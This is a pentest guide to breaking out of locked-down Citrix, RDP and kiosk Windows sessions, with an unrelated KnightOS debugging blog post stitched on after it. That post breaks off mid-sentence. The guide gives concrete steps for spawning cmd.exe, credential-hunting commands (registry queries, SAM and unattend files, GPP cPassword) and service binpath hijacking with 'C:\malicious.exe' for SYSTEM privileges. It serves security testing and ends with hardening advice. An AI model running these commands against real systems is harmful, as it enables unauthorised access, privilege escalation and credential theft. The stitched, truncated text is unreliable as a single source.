In some systems where minimal hardening has taken place, it may not be
possible to browse directly to an obvious directory such as
C:\Windows\System32. There are however various symbolic links that one can use
to potentially bypass this restriction.

%ALLUSERSPROFILE%  
%APPDATA%  
%CommonProgramFiles%  
%COMMONPROGRAMFILES\(x86\)%  
%COMPUTERNAME%  
%COMSPEC%  
%HOMEDRIVE%  
%HOMEPATH%  
%LOCALAPPDATA%  
%LOGONSERVER%  
%PATH%  
%PATHEXT%  
%ProgramData%  
%ProgramFiles%  
%ProgramFiles\(x86\)%  
%PROMPT%  
%PSModulePath%  
%Public%  
%SYSTEMDRIVE%  
%SYSTEMROOT%  
%TEMP%  
%TMP%  
%USERDOMAIN%  
%USERNAME%  
%USERPROFILE%  
%WINDIR%  
shell:Administrative Tools  
shell:DocumentsLibrary  
shell:Librariesshell:UserProfiles  
shell:Personal  
shell:SearchHomeFolder  
shell:System shell:NetworkPlacesFolder  
shell:SendTo  
shell:UserProfiles  
shell:Common Administrative Tools  
shell:MyComputerFolder  
shell:InternetFolder

File protocol handlers can also be a useful avenue for opening up applications
that would otherwise be unavailable:

about:  
data:  
ftp:  
mailto:  
news:  
res:  
telnet:  
view-source:

UNC Paths are commonly accepted, even on systems with quite substantial
hardening in place:

\\\127.0.0.1\c$\Windows\System32

### Gaining a Command Shell

Back To Index▲

Gaining access to a Command Shell of some description can be an early win in
breakout testing and enables a great amount of control over the Operating
System, including the potential to enumerate a lot of information that can
help us escalate our privileges further. Some environments have been subjected
to very limited hardening and even offer the standard shortcut to cmd.exe
within the Start Menu. Naturally it is worth checking this as a first port of
call:

<img src='img/1x1.trans.gif' width='233' height='91' alt='IMAGE6' />

Typically, we have a few different executable options to gain a shell on a
system:

  * Cmd.exe
  * COMMAND.COM
  * Powershell.exe
  * Third party admin / shell tool

**“Run”:**  
Quite possibly the easiest method available. Can be accessed via the Start
Menu, or with the shortcut Windows+R:

<img src='img/1x1.trans.gif' width='269' height='143' alt='IMAGE7' />

**Access through file browser:**  
A simple yet effective attack. By browsing to the folder containing the binary
\(i.e. “C:\windows\system32\”\), we can simply right click and “open” it:

<img src='img/1x1.trans.gif' width='263' height='55' alt='IMAGE8' />

**Drag-and-drop:**  
By dragging and dropping any file, even those with invalid extensions \(i.e.
\*.txt\) onto the cmd.exe file will cause a Command Prompt window to be
launched

<img src='img/1x1.trans.gif' width='184' height='51' alt='IMAGE9' />

**Hyperlink / shortcut:**  
Using the file handler, a link can be created to the binary. This link can be
launched from numerous places, including dialog boxes and even within
Microsoft Office applications by using the CTRL+Click option.
file:///c:/Windows/System32/cmd.exe

<img src='img/1x1.trans.gif' width='218' height='28' alt='IMAGE10' />

**Task Manager:**  
The Windows Task Manager can be useful to us for a number of reasons.
Additionally, it can be used to run new processes. Task Manager \(taskmgr\)
can be accessed in a number of ways, including from the Start Menu, the
CTRL+ALT+DELETE splash page in newer versions of Windows and via the direct
shortcut CTRL+SHIFT+ESCAPE.

<img src='img/1x1.trans.gif' width='346' height='120' alt='IMAGE11' />

**Task Scheduler:**  
An interesting weakness, where some systems prevent access to cmd.exe, however
it can still be scheduled to run via Task Scheduler. This can be done either
via the command line scheduler \(at.exe\) or the GUI \(taskschd.msc\). A basic
task can be created to run cmd.exe at a specific time \(i.e. 1 minute in the
future\) or upon certain events such as when a user logs on.

**COMMAND.COM**  
This is a 16-bit binary included in Windows for legacy purposes. Even when
cmd.exe is disabled, this can often be accessible. Unfortunately, COMMAND.COM
is no longer included within 64-bit versions of Windows.

**Powershell.exe**  
A similar experience to cmd.exe, however PowerShell has some several advanced
features over regular cmd.exe such as the ability to use and call features and
assemblies in .NET.

**MSPAINT.exe**  
An unusual, yet effective method of gaining a shell by creating a shortcut to
cmd.exe by drawing certain colours in Microsoft Paint. Due to the encoding
algorithm used to write BMP files, it is possible to dictate ASCII data
written into a file by carefully selecting certain RGB colours.

<img src='img/1x1.trans.gif' width='234' height='120' alt='IMAGE12' />

  1. Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels
  2. Zoom in to make the following tasks easier
  3. Using the colour picker, set pixels values to \(from left to right\): 
     * 1st: R: 10, G: 0, B: 0
     * 2nd: R: 13, G: 10, B: 13
     * 3rd: R: 100, G: 109, B: 99
     * 4th: R: 120, G: 101, B: 46
     * 5th: R: 0, G: 0, B: 101
     * 6th: R: 0, G: 0, B: 0
  4. Save it as 24-bit Bitmap \(\*.bmp;\*.dib\)
  5. Change its extension from bmp to bat and run.

**Bypassing interactive console restrictions:**  
When an interactive Command Prompt is disabled, it’s often possible to run
cmd.exe with the /K or /C arguments. Simply running “cmd.exe /K pause” can
bypass restrictions and load an interactive shell:

<img src='img/1x1.trans.gif' width='388' height='143' alt='IMAGE13' />

Alternatively, commands can be passed to cmd.exe using the /C argument which
runs in a non-interactive session. For example, “cmd.exe /C tasklist >
c:\tasks.txt”.

**FTP:**  
Whilst not yielding full command shell access, the FTP client is usually
available and can offer a method of browsing the file system via the “\!dir”
command if all other avenues are blocked. It may also serve as an avenue for
data transfer, i.e. downloading 3rd party tools.

<img src='img/1x1.trans.gif' width='442' height='186' alt='IMAGE14' />

Other useful FTP commands:

\!whoami  
\!date  
\!ping 127.0.0.1

### Bypassing Write Restrictions

Back To Index▲

This is a useful time to mention ways that can be used to bypass write
restrictions on the environment you’re testing. This will help to find an area
to upload third party tools and write any data to from enumeration processes.

Best practice dictates that a user should have the lowest amount of write
privileges without being detrimental to their work. In practice, this can mean
very limited write permissions on the hosts local file system.

Temporary folders are a good first port of call and nearly always allow write
access. Enumerate the default temp location by finding the value of the %TEMP%
variable, e.g. “echo %TEMP%”. Folder names are usually along the lines of:

  * C:\Users\USER\AppData\Local\Temp
  * C:\temp\
  * C:\tmp\

Writing to the %USERPROFILE% directory can be another tactic, however this may
link to a network shared folder.

**Accesschk.exe**  
This tool is available within the Sysinternals Suite and offers similar
functionality to the built in “cacls” / “icacls”.

We can use this to find directories on filesystems that allow us write access:

accesschk.exe -uwdqs Users c:\  
accesschk.exe -uwdqs “Authenticated Users” c:\

### Bypassing Executable Restrictions

Back To Index▲

Some systems have rudimentary whitelists in place that only allow applications
to run that have a specific filename or file extension. This can sometimes be
trivial to bypass, by renaming malware.exe to an allowed value such as
mspaint.exe.

Other poor configurations allow any application to be run as long as directory
meets whitelist criteria. If the system you are testing allows Microsoft Word
to run, try copying your file to the same directory as WINWORD.EXE.

### Internet Explorer

Back To Index▲

Many web applications are deployed using technology such as Citrix / Terminal
Service / Kiosk platforms. Of course, for functionality, this means that a Web
Browser will need to be available to access the application. 9 times out of
10, this will be good old Internet Explorer \(IE\).

There are a few ways we can use IE to our advantage:

**Dialog Boxes and Menus:**

  * Address bar – this can be used with many of the paths and environment variables mentioned earlier. Examples such as “file://c:\windows\system32\cmd.exe” often work.
  * Menus – Help, print and search menus all offer links and options that may point outside of the browser and open up areas of the operating system such as a new instance of Windows Explorer.
  * Right click – the context menu can offer a wealth of options such as “view source” \(notepad\) and “save picture as”
  * Favourites menu – Open favourites tab \(ALT+C\), Drag folder onto browser window, any will work such as “MSN Websites”

**Home Page:**  
A quick and dirty method of accessing a custom file of your choice is to set
your homepage to an arbitrary value such as “cmd.exe”.

**F12 Developer Tools:**  
The developer tools in Internet Explorer can be accessed via the F12 shortcut
key. By selecting the “File” menu and the “Customize Internet Explorer view
source” option it is possible to set a custom application of the user’s
choice.

<img src='img/1x1.trans.gif' width='383' height='106' alt='IMAGE15' />

For our purposes, setting this to something like “C:\windows\system32\cmd.exe”
could be useful. This has now effectively turned Command Prompt into your
default HTML source viewer for IE. Finally, right click on a page and select
“View Source” to kick-start the process.

**Certificate Import:**  
Load Internet Explorer settings and navigate to the “Content” tab, now select
the “Certificates” button. Click on the “Import…” option which will bring up
the following wizard:

<img src='img/1x1.trans.gif' width='365' height='329' alt='IMAGE16' />

The next stage of the wizard will ask for a certificate path, which will open
up a Windows Explorer / file browser type dialog. This can be used with
methods in the “Abusing Dialog Boxes” section to break out / escalate
privileges.

**Browser Add-Ons / Applets / Dynamic Content:**  
By default, Internet Explorer is built to be user friendly and provide a
content rich experience. This can be leveraged to our advantage in various
forms to ultimately interact with the Operating System through these methods.
Active-X add-ons, Flash applications, Java applets and similar techniques can
all provide this level of access given that Internet Explorer is not locked
down.

**Browser Based Exploits:**  
Providing that the system is unpatched, numerous client-side exploits exist
for different versions of Internet Explorer which can be leveraged by visiting
a crafted link. This can be done with Metasploit.

It may also be possible to trick another user of the system into following a
crafted link, meaning any malicious code would be executed as their user –
this could be particularly useful if the user holds a high privilege account.

### Microsoft Office

Back To Index▲

Like Internet Explorer, the Office Suite is generally available on the vast
majority of environments to provide functionality to users. Again, this offers
us numerous avenues for exploitation:

**VBA \(Visual Basic for Applications\) and Macros:**  
It is trivial to use msfencode/msfpayload to generate VBA code that will
create a reverse shell / Meterpreter shell on the host. This method is seldom
stopped by AV either. Although Meterpreter shells are useful, it will be
running under the context of the user account you already have. Meterpreter
may however be useful for escalating privileges, depending on how well the
system has been secured.

<img src='img/1x1.trans.gif' width='562' height='318' alt='IMAGE17' />

**Developer Tools:**  
The Developer tools are available in all Office applications, but are not
enabled by default. The method for enabling Developer tools has changed across
different versions, however in Office 2010 onwards the option exists under the
“Customise Ribbon” tab in the application options. Once enabled, various add-
ins provide functionality that is useful to us:

<img src='img/1x1.trans.gif' width='144' height='71' alt='IMAGE18' />

This includes a plethora of Active-X controls that can be used to interface
with the Operating System. If Internet Explorer is disabled, but Excel isn’t,
why not create your own Web Browser?

<img src='img/1x1.trans.gif' width='573' height='249' alt='IMAGE19' />

**Launch commands via VBA:**  
A simple 3-liner can be used to launch external applications via a macro / VBA
code:

Sub OpenCMD\(\)  
Shell “CMD /K C:\windows\system32\cmd.exe”, vbNormalFocus  
End Sub

**MS SQL Server \(Local and remote\):**  
A long shot, but if any form of access is provided to Microsoft SQL servers,
especially older ones, it is worth checking to see if the XP\_CMDSHELL stored
procedure is enabled. If poor access / user controls are in place, it may be
possible to execute commands on the affected server and remotely compromise
it.

**Dialog Boxes and shortcuts:**  
Another avenue for dialog boxes. Simple shortcuts can be embedded within a
standard document, i.e. Word, to paths on the filesystem \(i.e. file://\).

### Modifying ICA Files

Back To Index▲

Some configurations of Citrix rely on .ICA \(Independent Computing
Architecture\) files to store the configuration for a connection. This
configuration specifies obvious parameters such as the server address and
port, however there are some more interesting parameters we can fiddle with to
our advantage.

A sample ICA file might look like the following:

\[Encoding\]  
InputEncoding=ISO8859\_1\[WFClient\]  
Version=2  
username=username  
clearpassword=password

\[ApplicationServers\]  
ApplicationName=

\[ApplicationName\]  
Address=IPAddress  
InitialProgram=notepad.exe  
TWIMode=On  
TransportDriver=TCP/IP  
WinStationDriver=ICA 3.0  
BrowserProtocol=HTTPonTCP

As can be seen above, the “InitialProgram” parameter dictates that an instance
of Notepad should be loaded upon connection. With systems that have poor
hardening in place, it can be as simple as changing the parameter to something
like “cmd.exe” to bring up a Command Prompt or “Explorer.exe”:

InitialProgram=cmd.exe

Some applications may require further authentication and will not work with
the credentials you have. By fuzzing the “InitialProgram” parameter, we can
potentially enumerate valid executables.

Nmap \(NSE plugin citrix-enum-apps\) and Metasploit
\(auxiliary/gather/citrix\_published\_applications\) can be used to enumerate
published application, as well as a number of other publicly available scripts
on the internet.

### Default / Weak Credentials

Back To Index▲

In any environment, there is obvious value in looking for default
user/password combinations or accounts that are using a weak password such as,
well, “password”\!

Where possible, attempt to enumerate a list of valid usernames before your
attack. Look for verbose error messages that disclose whether an account
actually exists, e.g. “This username does not exist” vs “Incorrect Password”.
“Forgotten password” functionality can also indicate whether a user exists or
not.

If you already have authentication and can access a shell, try commands such
as “net users” or “net users /domain”.

Obvious usernames, such as the below, are always worth exploring. It is not
uncommon for usernames to be reused as passwords:

  * test
  * citrixtest
  * administrator
  * admin
  * guest
  * backup
  * default

### File Transfer – Getting data to and from your target

Back To Index▲

Without going into too much detail, we’re going to briefly outline numerous
methods that you can use:

  * FTP
  * HTTP servers \(WAMP / LAMP / publicly available tools on the internet / etc\)
  * SMB to client \\\hacker\tools
  * SMB to server \\\server\c$
  * DNS tunnelling
  * Email – personal / corporate
  * Clipboard
  * Streaming data via user-input
  * Device pass-through 
    * RS323 / serial
    * Firewire

Some of these methods involve setting up a server on your attack
infrastructure, however this is trivial and Kali Linux has many of these
services built in ready to be activated.

**DNS Tunnelling:**  
An interesting concept that relies on the fact that, even in highly
restrictive environments, DNS queries may be allowed through to the internet.
We have a separate blog post with a how-to at:  
http://www.pentestpartners.com/blog/data-exfiltration-dns-tunnelling-using-
iodine/

**Email:**  
If a web browser is available, it may be possible to email data to and from
the host using personal email accounts such as Gmail. Depending on firewall
rulesets and network filtering, connections via protocols such as POP3 / IMAP
/ SMTP may be worth exploring.

Full Desktop Environments may have access to a corporate email system, which
could be used in a similar fashion. However it is worth noting that many
corporate email solutions, especially for larger firms, will be using some
form of content filtering on attachments. This can often be bypassed by
including any data within an encrypted archive, i.e. ZIP.

**Clipboard:**  
Data can be sent via clipboard for use on the host machine. Binary files can
be base64 encoded and potentially reconstructed on the remote system for
execution. Alternatively, assembly language can be copied via clipboard to the
remote system and executed using debug.exe.

**Streaming data via user-input:**  
By exploiting the standard method of user input \(keyboard/mouse\), it is
possible to create an automated script that mimics user-input to send
arbitrary data. Data can be slowly streamed and reconstructed on the other
side.

Reprogrammable Human Interface Devices \(HIDs\) such as the well-known Rubber
Ducky can be used for this type of attack
\(http://hak5.org/episodes/episode-709\). One of my colleagues, David Lodge,
has also written a guide on this topic, on our blog:  
http://www.pentestpartners.com/blog/transferring-data-the-low-tech-way/

**Device pass-through:**  
Depending on the environment in use, it may be possible to “pass-through”
local hardware devices such as a USB Storage Device to the remote host.
Certain client tools such as Microsoft Remote Desktop Protocol and Citrix
Receiver will actually automatically pass through devices automatically;
however this can be manually changed if necessary.

For Microsoft Remote Desktop Protocol, start the Terminal Services client
\(mstsc.exe\) and select the “Local Resources” tab. Press the “More…” button
at the bottom of the window. From here, it is possible to select what local
devices and drives you would like to pass through to the remote host:

<img src='img/1x1.trans.gif' width='285' height='259' alt='IMAGE20' />

This can be performed in a similar fashion for Citrix Receiver, before a
connection is made, by going into Desktop Viewer Preferences and selecting the
“Devices” tab:

<img src='img/1x1.trans.gif' width='481' height='245' alt='IMAGE21' />

Alternatively this can be done using the hotbar once a connection is made:

<img src='img/1x1.trans.gif' width='440' height='54' alt='IMAGE22' />

**Device pass-through \(RS232 / Serial\):**  
Allowing devices such as serial ports to be connected via the device pass-
through feature could allow an easy method of transferring data between the
host and the server. The serial port can be emulated locally on the attacker’s
machine and used to stream data over to the server. Data can be received on
the server side using a terminal application such as Windows HyperTerminal or
a custom built receiver built in assembly using debug.exe if available.

**Device pass-through \(Firewire\):**  
Firewire is notorious in the security community for being potentially
vulnerable to physical memory attacks. This exploits a “feature” within the
Firewire specification that allows Direct Memory Access \(DMA\) to external
devices connected via Firewire. Theoretically, it may be possible to pass-
through an emulated Firewire device that would allow DMA, such as an Apple
iPod. It may then be possible to have full read/write access of the remote
memory. This would carry serious implications as the memory most likely will
store all manner of sensitive data, including user credentials, encryption
keys, etc.

### Useful System / Administrative Tools

Back To Index▲

Many of the default tools built into Windows for admin purposes can be
overlooked when hardening takes place and as a result can be available to us.
The vast majority of these can be ran using methods covered earlier in the
article:

  * MMC.exe – Microsoft Management Console, allows a large degree of control over the system using “snap-ins”
  * Mstsc.exe – Microsoft Terminal Services, can allow remote desktop connection to another host
  * Regedit.exe – Registry control
  * Taskmgr.exe – Task Manager
  * Control.exe – Control Panel shortcut
  * Rundll32.exe – An alternative method of accessing areas of the OS that may be hidden via native API calls
  * Dxdiag.exe – DirectX diagnostic tool, useful for enumerating system information
  * Msconfig.exe – System configuration, shows verbose system information and has links to system tools
  * Eventvwr.exe – Local events viewer
  * Systeminfo.exe – Command line system info collector
  * Msinfo32.exe – System Information
  * Osk.exe – On Screen Keyboard, can be useful in Kiosk style environments where no keyboard is available
  * At.exe – Task Scheduler
  * Taskschd.msc – Task Scheduler GUI
  * Explorer.exe – Brings up a new instance of Windows Explorer
  * WMIC.exe
  * Qwinsta.exe – Displays information about RDP sessions
  * Tasklist.exe / qprocess.exe – List process information

It is often worth hunting for other local Microsoft and 3rd Party executables
that you have access to, e.g:

“dir /s %WINDIR% \*.exe”

**Rundll32:**  
There is a vast array of commands that can be run via Rundll32, we have
included a few examples that could come in useful:

Stored Usernames and Passwords:  
RunDll32.exe keymgr.dll,KRShowKeyMgrControl Panel:  
RunDll32.exe shell32.dll,Control\_RunDLL

Date and Time Properties:  
RunDll32.exe shell32.dll,Control\_RunDLL timedate.cpl

Device Manager:  
RunDll32.exe devmgr.dll DeviceManager\_Execute

Folder Options – General:  
RunDll32.exe shell32.dll,Options\_RunDLL 0

Forgotten Password Wizard:  
RunDll32.exe keymgr.dll,PRShowSaveWizardExW

Keyboard Properties:  
RunDll32.exe shell32.dll,Control\_RunDLL main.cpl @1

Lock Screen:  
RunDll32.exe user32.dll,LockWorkStation

Network Connections:  
RunDll32.exe shell32.dll,Control\_RunDLL ncpa.cpl

Open With Dialog Box:  
Rundll32 Shell32.dll,OpenAs\_RunDLL FILE.ext

Printer User Interface:  
Rundll32 Printui.dll,PrintUIEntry /?

System Properties Box:  
Rundll32 Shell32.dll,Control\_RunDLL Sysdm.cpl,,3

Windows Firewall:  
RunDll32.exe shell32.dll,Control\_RunDLL firewall.cpl

Windows About:  
RunDll32.exe SHELL32.DLL,ShellAboutW

**WMIC.exe:**  
WMIC \(Windows Management Instrumentation Command-Line\) is a powerful command
line tool that can be very useful for information gathering.

<img src='img/1x1.trans.gif' width='553' height='75' alt='IMAGE23' />

WMIC is a very broad tool and we will only cover it briefly with a few
examples:

Local shares:  
wmic share list /format:tableLocal Users:  
wmic useraccount list full

Local Users – Output to HTML file:  
wmic /output:c:\users.html useraccount list full /format:hform

Processes:  
wmic process list full

Services:  
wmic service list full

Software:  
wmic os lsit full

Installed patches / service packs / hotfixes:  
wmic qfe

### Shortcuts

Back To Index▲

As with most Operating Systems, there is a shortcut for pretty much every
commonly used function in Windows. Some of these can be very useful when the
hardening that has taken place is superficial, e.g. only removing Start Menu
links.

**Standard Operating System Shortcuts:**  
Standard operating system shortcuts can be created throughout various areas of
Windows, it’s worth bringing up the context menu in areas such as the Desktop
or Explorer and then linking to one of the resources mentioned in this
article, i.e. %WINDIR%\system32\cmd.exe

<img src='img/1x1.trans.gif' width='479' height='91' alt='citrix1' />

<img src='img/1x1.trans.gif' width='448' height='316' alt='citrix2' />

**Accessibility shortcuts:**  
Many of these shortcuts exist to offer accessibility features such as “Sticky
Keys” and “Mouse Keys”. Pressing the correct combination will bring up a pop-
up dialog, which can be used to gain access to the Ease of Access Centre
\(EAC\). We can use then use the EAC as a pivot point.

  * Sticky Keys – Press SHIFT 5 times
  * Mouse Keys – SHIFT+ALT+NUMLOCK
  * High Contrast – SHIFT+ALT+PRINTSCN
  * Toggle Keys – Hold NUMLOCK for 5 seconds
  * Filter Keys – Hold right SHIFT for 12 seconds

<img src='img/1x1.trans.gif' width='624' height='374' alt='IMAGE24' />

Other standard shortcuts exist which may be useful. Some may be application
specific:

  * WINDOWS+F1 – Windows Search
  * WINDOWS+D – Show Desktop
  * WINDOWS+E – Launch Windows Explorer
  * WINDOWS+R – Run
  * WINDOWS+U – Ease of Access Centre
  * WINDOWS+F – Search
  * SHIFT+F10 – Context Menu
  * CTRL+SHIFT+ESC – Task Manager
  * CTRL+ALT+DEL – Splash screen on newer Windows versions
  * F1 – Help
  * F3 – Search
  * F6 – Address Bar
  * F11 – Toggle full screen within Internet Explorer
  * CTRL+H – Internet Explorer History
  * CTRL+T – Internet Explorer – New Tab
  * CTRL+N – Internet Explorer – New Page
  * CTRL+O – Open File
  * CTRL+S – Save
  * CTRL+N – New

### RDP / Citrix Shortcuts

Back To Index▲

Citrix and Microsoft Remote Desktop Protocol \(RDP\) have their own set of
shortcuts or “hotkeys” that correspond to Operating system functions or other
unique actions.

**Remote Desktop Hotkeys:**

  * CTRL+ALT+END – Opens Windows Security dialog box
  * CTRL+ALT+BREAK – Switches between windowed and full-screen
  * ALT+INSERT – Cycles through windows
  * ALT+HOME – Displays start menu
  * ALT+DELETE – Displays control / context menu
  * CTRL+ALT+NUMBER PAD MINUS – Takes screenshot of active window onto RDP clipboard
  * CTRL+ALT+NUMBER PAD PLUS – Takes screenshot of entire RDP session onto RDP clipboard

**Citrix ICA Hotkeys:**

  * SHIFT+F1 – Displays Windows Task List
  * SHIFT+F2 – Toggles title bar
  * SHIFT+F3 – Closes remote application / Citrix connection
  * CTRL+F1 – Displays Windows NT Security desktop
  * CTRL+F2 – Displays remote task list or Start Menu
  * CTRL+F3 – Displays task manager
  * ALT+F2 – Cycles through maximised and minimised windows
  * ALT+PLUS – Cycles through open windows
  * ALT+MINUS – Cycles through open windows \(reverse\)

### Batch Files and Scripts

Back To Index▲

Batch files such as .BAT and .CMD can be an alternative for executing system
commands when an interactive shell isn’t permitted. Whilst .BAT files can be
disabled, the lesser known .CMD equivalent can sometimes be allowed.

**Windows Script Hosts \(WSH\):**  
Providing access hasn’t been disabled and we can run either the “cscript.exe”
or “wscript.exe” executables, we can use WSH to run a variety of different
scripting languages, including VBScript, VBA and JScript by default.

As an example, we can execute the following VBScript snippet by saving the
contents within a .VBS file. Using this code, it may be possible to launch a
CMD shell:

set objApp = CreateObject\(“WScript.Shell”\)  
objApp.Run “CMD C:\”

The VBS file can be run by double clicking on the file, or by passing the
filename as an argument to either cscript.exe or wscript.exe.

Any other languages that the system has support for can also be potentially
abused, e.g. Python, Perl, PHP, etc. It is worth checking for these. Java, for
example, is commonly installed on a lot of hosts. The javac.exe and java.exe
executables can be used in a similar fashion to the example above.

### Juicy Files and Data

Back To Index▲

It is always worth scouting for juicy data that could help you \(very
quickly\) escalate your privileges. There’s always that one person who can’t
resist storing every password they have within a plaintext file.

**Use any method in your arsenal to search for files:**

  * Windows Explorer
  * Windows Search
  * Command Line 
    * “dir c:\ /s juicy.txt”
    * “dir c:\ /s \*password\* == \*cred\* == \*vnc\* == \*.config\*”

**Enumerate applications that may store interesting data:**

  * VNC – ultravnc.ini, etc
  * Apache – httpd.conf, .htaccess etc
  * KeePass / similar applications

**Interesting Registry Entries:**

  * reg query “HKCU\Software\ORL\WinVNC3\Password”
  * reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”
  * reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”
  * reg query” HKCU\Software\SimonTatham\PuTTY\Sessions”

**Files to look out for:**

  * sysprep.inf
  * sysprep.xml
  * %WINDIR%\Panther\Unattend\Unattended.xml
  * %WINDIR%\Panther\Unattended.xml
  * %WINDIR%\debug\NetSetup.log
  * %WINDIR%\repair\sam
  * %WINDIR%\repair\system
  * %WINDIR%\repair\software
  * %WINDIR%\repair\security
  * %WINDIR%\system32\config\AppEvent.Evt
  * %WINDIR%\system32\config\SecEvent.Evt
  * %WINDIR%\system32\config\default.sav
  * %WINDIR%\system32\config\security.sav
  * %WINDIR%\system32\config\software.sav
  * %WINDIR%\system32\config\system.sav
  * %USERPROFILE%\ntuser.dat

**Citrix ICAClient cached connections:**  
Cached connection information may be available in local application data
stores. Look for the “ICAClient” directory, which is usually found within the
%APPDATA% folder. Using “dir /s ICAClient” from a command line will also work.

By copying another user’s ICAClient contents into your own folder, it may be
possible to hijack their stored connections.

**Group Policy Preference saved passwords:**  
If the machine you’re testing is part of a domain, and you have access to the
relevant SYSVOL network share that usually resides on the Domain Controller
itself, then it is worth looking for the “cPassword” value stored within
various XML files that may be hanging around. This can be performed by
manually browsing SYSVOL and browsing for the relevant files:

  * Groups.xml
  * Services.xml
  * ScheduledTasks.xml
  * Printers.xml
  * Drives.xml
  * DataSources.xml

The “cPassword” attribute is encrypted via AES, however this is using a static
key which is available on the internet including directly from Microsoft via
various MSDN articles.

### Binary Planting

Back To Index▲

Binary planting involves intentionally placing malicious code in a location
where it will be run by a vulnerable application or service. This usually
requires a “perfect storm” of several weak configurations to be effective.

**Weak Windows Service Permissions:**  
A common vector is to target weak Windows services and file/folder
permissions. As demonstrated earlier, the Sysinternals accesschk.exe tool
comes in handy for this kind of enumeration.

First, be sure to check specifically what user group you reside in. For a low
privilege user, this is probably going to be the standard “Authenticated
Users” group.

Now we need to enumerate services that allow us to modify them:

accesschk.exe -uwcqv “Authenticated Users” \*

If any services are returned, then we choose one as a target.

Many services run as SYSTEM, so by having write access to such a service, we
can effectively run any application we want with the highest privilege level
possible.

sc config SERVICENAME binpath= “C:\malicious.exe” -e  
C:\WINDOWS\System32\cmd.exe”  
sc config SERVICENAME obj= “.\LocalSystem” password =””  
net stop SERVICENAME  
net start SERVICENAME

**DLL Hijacking**  
Applications usually can’t run by themselves, and instead rely on a pool of
resources that they hook into. This is often in the form of code libraries
such as DLLs. Generally, Windows applications follow a pre-set path on the
hunt for a DLL and will check each location in order:

  1. The directory from which the application loaded
  2. 32-bit System directory \(C:\Windows\System32\)
  3. 16-bit System directory \(C:\Windows\System\)
  4. Windows directory \(C:\Windows\)
  5. The current working directory \(CWD\)
  6. Directories in the PATH environment variable \(system then user\)

If we can place our malicious DLL earlier along the path, then the application
will quite likely load our malicious code.

### Conclusion

Back To Index▲

It’s probably obvious by now that these types of environments are very tricky
to harden, and even trickier to harden **properly**.

Where a full Desktop Environment is available to a user, this can be an
especially challenging task. Operating Systems are designed by default to be
feature-rich and as user friendly as possible. Unfortunately, these two
attributes are not synonymous with security.

We would recommend that any remote environment is configured in a pragmatic
fashion, where the bare minimum of functionality is offered to users to enable
them to carry out their tasks. This serves the purpose of reducing the overall
attack surface that is available.

All default configurations should be tweaked and hardened to minimise any
possible routes that an attacker may use to “break out” or escalate their
privileges.

Verbose logging measures should also be in place, with events being reported
to a central monitoring / reporting system. This can allow administrators to
monitor any potential attacks that occur, often in real-time.

**External References, Tools and Further Reading:**

  * Citrix Security Compliance Links – http://www.citrix.com/support/security-compliance.html
  * SANS Whitepaper – Server Security in a Citrix Presentation / Terminal Service Environment – http://www.citrix.com/content/dam/citrix/en\_us/documents/support/citrix-xenapp-6-5-and-xendesktop-5-6-security-standards-and-deployment-scenarios.pdf
  * Securing Citrix XenApp Server in the Enterprise – Tariq Azad
  * windows-privesc-check – http://pentestmonkey.net/tools/windows-privesc-check
  * Creating cmd.exe with mspaint http://nsimattstiles.wordpress.com/2013/03/19/gain-command-prompt-access-via-mspaint/

  

# The bug that hides from breakpoints

**Created:**| _5/3/2014 11:20:00 PM_  
---|---  
**Updated:**| _5/3/2014 11:20:09 PM_  
**Author:**| __  
**Tags:**| _Debugging_  
  
  

The bug that hides from breakpoints

This site and all its contents are MIT licensed.

This is the story of the most difficult bug I ever had to solve. See if you
can figure it out before the conclusion.

### Background

For some years now, I’ve worked on a kernel for Texas Instruments calculators
called KnightOS. This kernel is written entirely in assembly, and targets the
old-school z80 processor from back in 1976. This classic processor was built
without any concept of protection rings. It’s an 8-bit processor, with
150-some instructions and \(in this application\) 32K of RAM and 32K of Flash.
This stuff is so old, I ended up writing most of the KnightOS toolchain from
scratch rather than try to get archaic assemblers and compilers running on
modern systems.

When you’re working in an enviornment like this, there’s no seperation between
kernel and userland. All “userspace” programs run as root, and crashing the
entire system is a simple task. All the memory my kernel sets aside for the
process table, or memory ownership, file handles, stacks, any other executing
process - any program can modify this freely. Of course, we have to rely on
the userland to play nice, and it usually does. But when there are bugs, they
can be a real pain in the ass to hunt down.

### The elusive bug

The original bug report: **When running the counting demo and switching
between applications, the thread list graphics become corrupted.**

I can reproduce this problem, so I settle into my development enviornment and
I set a breakpoint near the thread list’s graphical code. I fire up the
emulator and repeat the steps… but it doesn’t happen. This happened
consistently: **the bug was not reproduceable when a breakpoint was set**.
Keep in mind, I’m running this in a z80 emulator, so the enviornment is
supposedly no different. There’s no debugger attached here.

Though this is quite strange, I don’t immediately despair. I try instead
setting a “breakpoint” by dropping an infinite loop in the code, instead of a
formal breakpoint. I figure that I can halt the program flow manually and open
the debugger to inspect the problem. However, the bug wouldn’t be tamed quite
so easily. The bug was unreproducable when I had this psuedo-breakpoint in
place, too.

At this point, I started to get a little frustrated. How do I debug a problem
that disappears when you debug it? I decided to try and find out what caused
it after it had taken place, by setting the breakpoint to be hit only after
the graphical corruption happened. Here, I gained some ground. I was able to
reproduce it, and _then_ halt the machine, and I could examine memory and such
after the bug was given a chance to have its way over the system.

I discovered the reason the graphics were being corrupted. The kernel kept the
length of the process table at a fixed address. The thread list, in order to
draw the list of active threads, looks to this value to determine how many
threads it should draw. Well, when the bug occured, the value was too high\!
The thread list was drawing threads that did not exist, and the text rendering
puked non-ASCII characters all over the display. But why was that value being
corrupted?

It was an oddly specific address to change. None of the surrounding memory was
touched. Making it even more odd was the very specific conditions this
happened under - only when the counting demo was running. I asked myself,
“what makes the counting demo unique?” It hit me after a moment of thought.
The counting demo existed to demonstrate non-supsendable threads. The kernel
would stop executing threads \(or “suspend” them\) when they lost focus, in an
attempt to keep the system’s very limited resources available. The counting
demo was marked as non-suspendable, a feature that had been implemented a few
months prior. It showed a number on the screen that counted up forever, and
the idea was that you could go give some other application focus, come back,
and the number would have been counting up while you were away. A background
task, if you will.

A more accurate description of the bug emerged: “the length of the kernel
process table gets corrupted when launching the thread list when a non-
suspendable thread is running”. What followed was hours and hours of crawling
through the hundreds of lines of assembly between summoning the thread list,
and actually seeing it. I’ll spare you the details, because they are very
boring. We’ll pick the story back up at the point where I had isolated the
area in which it occured: applib.

The KnightOS userland offered “applib”, a library of common functions
applications would need to get the general UX of the system. Among these was
the function `applibGetKey`, which was a wrapper around the kernel’s `getKey`
function. The idea was that it would work the same way \(return the last key
